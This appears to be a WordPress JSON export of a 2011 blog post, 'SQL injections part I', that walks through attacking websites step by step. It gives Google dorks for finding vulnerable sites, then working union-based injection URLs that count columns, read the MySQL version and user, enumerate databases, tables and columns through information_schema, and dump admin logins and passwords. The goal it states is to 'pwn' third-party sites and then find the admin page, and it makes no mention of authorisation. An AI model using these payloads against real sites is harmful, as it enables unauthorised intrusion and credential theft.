{"id":2899,"date":"2011-06-27T16:43:38","date_gmt":"2011-06-27T09:43:38","guid":{"rendered":"http:\/\/deepquest.code511.com\/blog\/?p=2899"},"modified":"2011-06-27T16:43:38","modified_gmt":"2011-06-27T09:43:38","slug":"tutorial-sql-injections-part-i","status":"publish","type":"post","link":"https:\/\/deepquest.code511.com\/blog\/2011\/06\/tutorial-sql-injections-part-i\/","title":{"rendered":"[Tutorial]: SQL injections part I"},"content":{"rendered":"<p>They are 1000&#8217;s of tutorial around sql injections, some of the tutorials I found were good, some bad, some too long. But finally found something interesting to share, a bit lazy to write my own not enought time for this.<\/p>\n<p>Sql injection aka SQLi is way to manipulate url to inject SQL commands thru a url. Bad code = good SQLi.<\/p>\n<p>Feel free to comment and feed back.<\/p>\n<p><!--more-->SQL\u00a0 Injection<\/p>\n<p>Right&#8230;&#8230;&#8230; This is in depth tutorial with pics XD on how to do SQL injection correctly.<\/p>\n<p>I take it you know what SQL injection is&#8230;. The basics I mean XD you wouldn&#8217;t be here otherwise would you?<\/p>\n<p>Let&#8217;s get a cracking.<\/p>\n<p>#1.Finding vulnerable sites<br \/>\n#2.Finding amount of columns<br \/>\n#3.Getting mysql version current user<br \/>\n#4.Getting Databases<br \/>\n#5.Getting Tables<br \/>\n#6.Getting Columns<br \/>\n#7.Getting Usernames and Passwords<\/p>\n<p>Let&#8217;s do this mofo&#8217;s<\/p>\n<p>#1.<\/p>\n<p>You can&#8217;t SQL a site unless you first locate one, &#8220;How do we do this?&#8221;&#8221; Is the question rolling around your heads, Well&#8230;&#8230; We use something called a Dork &#8220;I beg your pardon, Do this mofo call me a dork&#8221; A Google dork XD,It&#8217;s what can be used in order to locate vulnerable sites through the google search engine.<\/p>\n<p>A list of common used google dorks:<br \/>\ninurl:index.php?id=<br \/>\ninurl:news.php?id=<br \/>\ninurl:category.php?id=<br \/>\ninurl:games.php?id=<br \/>\ninurl:forum.php?tid=<br \/>\ninurl:newsletter.php?id=<br \/>\ninurl:content.php?id=<\/p>\n<p>I&#8217;ve found my vulnerable site, Now wtf do I do&#8230;&#8230;. Well the common answer to that question is to check if it&#8217;s vulnerable, In order to do this we add a &#8216; at the end.<\/p>\n<p>So for example:<br \/>\nhttp:\/\/examplesite.com\/news\/view.php?id=828<\/p>\n<p>^ ^ That&#8217;s the site I found (Remember this is a example)<\/p>\n<p>All we do is add a &#8216;<br \/>\nLike so:<br \/>\nhttp:\/\/examplesite.com\/news\/view.php?id=828&#8217;<\/p>\n<p>We can add the &#8216; before or after the numbers, It still checks if it is vulnberable.<\/p>\n<p>How do I know if it&#8217;s vulnerable, Well you will see something like\u00a0 this:<br \/>\nhttp:\/\/img220.imageshack.us\/img220\/6660\/sqlitut1.jpg<\/p>\n<p>Notice the SQL error? That is exactly what we are after, Now it&#8217;s time to move onto Step 2.<\/p>\n<p>#2. Finding amount of columns<br \/>\nIn order to find the ammount of columns we have to use a orderby statement, The concept behind it is pretty simple, We keep ordering by until a error is received, So&#8230;.<\/p>\n<p>http:\/\/examplesite.com\/news\/view.php?id=828 order by 1&#8211; (page loads normal)<br \/>\nhttp:\/\/examplesite.com\/news\/view.php?id=828 order by 2&#8211; (page loads normal)<br \/>\nhttp:\/\/examplesite.com\/news\/view.php?id=828 order by 3&#8211; (page loads normal)<br \/>\nhttp:\/\/examplesite.com\/news\/view.php?id=828 order by 4&#8211; (page loads normal)<br \/>\nhttp:\/\/examplesite.com\/news\/view.php?id=828 order by 5&#8211; (page loads normal)<br \/>\nhttp:\/\/examplesite.com\/news\/view.php?id=828 order by 6&#8211; (page loads normal)<br \/>\nhttp:\/\/examplesite.com\/news\/view.php?id=828 order by 7&#8211; (page loads normal)<br \/>\nhttp:\/\/examplesite.com\/news\/view.php?id=828 order by 8&#8211; (page loads normal)<br \/>\nhttp:\/\/examplesite.com\/news\/view.php?id=828 order by 9&#8211; (error)<\/p>\n<p>(Don&#8217;t actually but the page loads normal part) I was just showing you how it shows a error)<\/p>\n<p>Alright so we received a error on column 9, This means we have 8 columns, &#8220;But you received the error on 9?&#8221; Yes true, But every page before that loaded fine, So it&#8217;s 8 columns.<\/p>\n<p>So you&#8217;ve found out how many columns it is now what is next?<\/p>\n<p>Next is union select statements,<\/p>\n<p>http:\/\/examplesite.com\/news\/view.php?id=-828 union select 1,2,3,4,5,6,7,8&#8211;<\/p>\n<p>(Make note of the hyphen before the numbers)<\/p>\n<p>You should see numbers on the site like so:<br \/>\nhttp:\/\/img842.imageshack.us\/img842\/5738\/sqlitut2.jpg<\/p>\n<p>This proves to us, That this site is vulnerable to SQL injection, Now it&#8217;s time we #3 mofo&#8217;s XD.<\/p>\n<p>#3. Getting MySQL version and Current User<br \/>\nSo we&#8217;ve worked out the columns and displayed the column numbers on the screen, Next is getting the SQL version and the current user.<\/p>\n<p>To do these we use this SQL command:<br \/>\nhttp:\/\/examplesite.com\/news\/view.php?id=-828 union select 1,2,@@version,4,5,6,7,8&#8211;<\/p>\n<p>(Make note that we&#8217;ve used column 3 to display the SQL version)<br \/>\nhttp:\/\/img823.imageshack.us\/img823\/8895\/sqlitut3.jpg<\/p>\n<p>5.0.22 this mofo site is vulnerable, (if its under 4 then you have to guess tables and columns) Majority are over 5 anyway.<\/p>\n<p>Next, Let&#8217;s get the current user on this thing, To do that we type in:<\/p>\n<p>http:\/\/examplesite.com\/news\/view.php?id=-828 union select 1,2,user(),4,5,6,7,8&#8211;<\/p>\n<p>Notice the user() command? The same place in which we put @@version number before?<\/p>\n<p>If you&#8217;ve done correctly you should see something like this:<br \/>\nhttp:\/\/img690.imageshack.us\/img690\/611\/sqlitut4.jpg<\/p>\n<p>Now comes the interesting stuff&#8230;&#8230;&#8230;. Let&#8217;s hit up part #4.<\/p>\n<p>#4. Getting Databases<br \/>\nNow is the cool stuff we now want to get the database and the current database, To do this we use:<\/p>\n<p>http:\/\/examplesite.com\/news\/view.php?id=-828+UNION+SELECT+1,2,group_concat(schema_name),4,5,6,7,8 from+information_schema.schemata&#8211;<\/p>\n<p>Notice the group_concat(schema_name) is in number 3 again? This will display the information we are after:<\/p>\n<p>http:\/\/img864.imageshack.us\/img864\/1689\/sqlitut5.jpg<\/p>\n<p>The current database, It&#8217;s pretty obvious but hey&#8230;. comes in handy XD,<\/p>\n<p>To view the current database use this syntax:<\/p>\n<p>http:\/\/examplesite.com\/news\/view.php?id=-828+UNION+SELECT+1,2,database(),4,5,6,7,8<\/p>\n<p>You should receive something like this:<br \/>\nhttp:\/\/img194.imageshack.us\/img194\/7368\/sqlitut6.jpg<\/p>\n<p>Like I said, Pretty obvious haha<\/p>\n<p>So we&#8217;ve worked out the database name, Now we want those mofo tables, Let&#8217;s move onto #5.<\/p>\n<p>#5. Getting Tables<br \/>\nIn order to get the tables we will continue using that handy union select command,<\/p>\n<p>http:\/\/examplesite.com\/news\/view.php?id=-828+UNION+SELECT+1,2,group_concat(table_name),4,5,6,7,8 from information_schema.tables where table_schema=database()&#8211;<\/p>\n<p>Before we move on, I want you to study that syntax, take note of the commands used there, The database etc etc.<\/p>\n<p>If you&#8217;ve done that correctly you should receive something like this:<br \/>\nhttp:\/\/img830.imageshack.us\/img830\/3971\/sqlitut7.jpg<\/p>\n<p>I&#8217;ve put a box round the user table, Cause well&#8230;&#8230;. You don&#8217;t SQL a site without wanting to get the user table XD<\/p>\n<p>Judging from the other tables, I can safely say the passwords and users will all be in the bpuser table, Scribble this name down and let&#8217;s move on to part #6.<\/p>\n<p>#6. Getting Columns<br \/>\nSo we&#8217;ve found our user table now we want the columns out of it, How do we do this you ask, Well&#8230; It&#8217;s pretty simple.<\/p>\n<p>http:\/\/examplesite.com\/news\/view.php?id=-828+UNION+SELECT+1,2,group_concat(column_name),4,5,6,7,8 from information_schema.columns where table_schema=database()&#8211;<\/p>\n<p>As before, I want you to read through the syntax, Try and understand what everything is doing in there?<\/p>\n<p>Right&#8230; If you have done that correctly, You should receive something like this:<br \/>\nhttp:\/\/img24.imageshack.us\/img24\/8813\/sqlitut8.jpg<\/p>\n<p>Notice the 2 tables I&#8217;ve highlighted? These contain the info we want for gaining access XD.<\/p>\n<p>#7. Dumping users\/pass<br \/>\nSo you&#8217;ve found your site, Found the columns,database,tables etc etc now I bet you wanna pwn this mofo, So now we are going to dump the info from login and password, To do this we simply:<\/p>\n<p>http:\/\/examplesite.com\/news\/view.php?id=-828+UNION+SELECT+1,2,group_concat(login,0x3a,password,0x3a),4,5,6,7,8 from bpusers&#8211;<\/p>\n<p>Right this syntax is a lot more complex than the others, Therefore as before, Read through it and try to work out what is being done?<\/p>\n<p>(NOTE: 0x3a will make a : between logins and passwords.)<\/p>\n<p>If you&#8217;ve done this correctly you should receive something similar to this:<br \/>\nhttp:\/\/img145.imageshack.us\/img145\/4508\/sqlitut9.jpg<\/p>\n<p>YEAH!!!!!!! there is that mofo admin&#8217;s details.<\/p>\n<p>Congratulations, You have now officially &#8216;parred&#8217; the site, Now all is required is to find the admin page.<\/p>\n<p>Tu<br \/>\nEnjoy and happy SQL ing<\/p>\n","protected":false},"excerpt":{"rendered":"<p>They are 1000&#8217;s of tutorial around sql injections, some of the tutorials I found were good, some bad, some too long. But finally found something interesting to share, a bit&#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_seopress_titles_title":"","_seopress_titles_desc":"","_seopress_robots_index":"","_seopress_robots_follow":"","_seopress_robots_imageindex":"","_seopress_robots_snippet":"","_seopress_robots_primary_cat":"","_seopress_robots_breadcrumbs":"","_seopress_robots_freeze_modified_date":"","_seopress_robots_custom_modified_date":"","_seopress_robots_canonical":"","_seopress_social_fb_title":"","_seopress_social_fb_desc":"","_seopress_social_fb_img":"","_seopress_social_fb_img_attachment_id":0,"_seopress_social_fb_img_width":0,"_seopress_social_fb_img_height":0,"_seopress_social_twitter_title":"","_seopress_social_twitter_desc":"","_seopress_social_twitter_img":"","_seopress_social_twitter_img_attachment_id":0,"_seopress_social_twitter_img_width":0,"_seopress_social_twitter_img_height":0,"_seopress_redirections_value":"","_seopress_redirections_enabled":"","_seopress_redirections_enabled_regex":"","_seopress_redirections_logged_status":"","_seopress_redirections_param":"","_seopress_redirections_type":0,"_seopress_analysis_target_kw":"","_jetpack_newsletter_access":"","_jetpack_dont_email_post_to_subs":false,"_jetpack_newsletter_tier_id":0,"_jetpack_memberships_contains_paywalled_content":false,"_jetpack_feature_clip_id":0,"_jetpack_memberships_contains_paid_content":false,"footnotes":"","jetpack_post_was_ever_published":false},"categories":[764,3],"tags":[],"class_list":["post-2899","post","type-post","status-publish","format-standard","hentry","category-lulz","category-security"],"jetpack_featured_media_url":"","jetpack_sharing_enabled":true,"jetpack_shortlink":"https:\/\/wp.me\/p4bBYZ-KL","_links":{"self":[{"href":"https:\/\/deepquest.code511.com\/blog\/wp-json\/wp\/v2\/posts\/2899","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/deepquest.code511.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/deepquest.code511.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/deepquest.code511.com\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/deepquest.code511.com\/blog\/wp-json\/wp\/v2\/comments?post=2899"}],"version-history":[{"count":2,"href":"https:\/\/deepquest.code511.com\/blog\/wp-json\/wp\/v2\/posts\/2899\/revisions"}],"predecessor-version":[{"id":2901,"href":"https:\/\/deepquest.code511.com\/blog\/wp-json\/wp\/v2\/posts\/2899\/revisions\/2901"}],"wp:attachment":[{"href":"https:\/\/deepquest.code511.com\/blog\/wp-json\/wp\/v2\/media?parent=2899"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/deepquest.code511.com\/blog\/wp-json\/wp\/v2\/categories?post=2899"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/deepquest.code511.com\/blog\/wp-json\/wp\/v2\/tags?post=2899"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}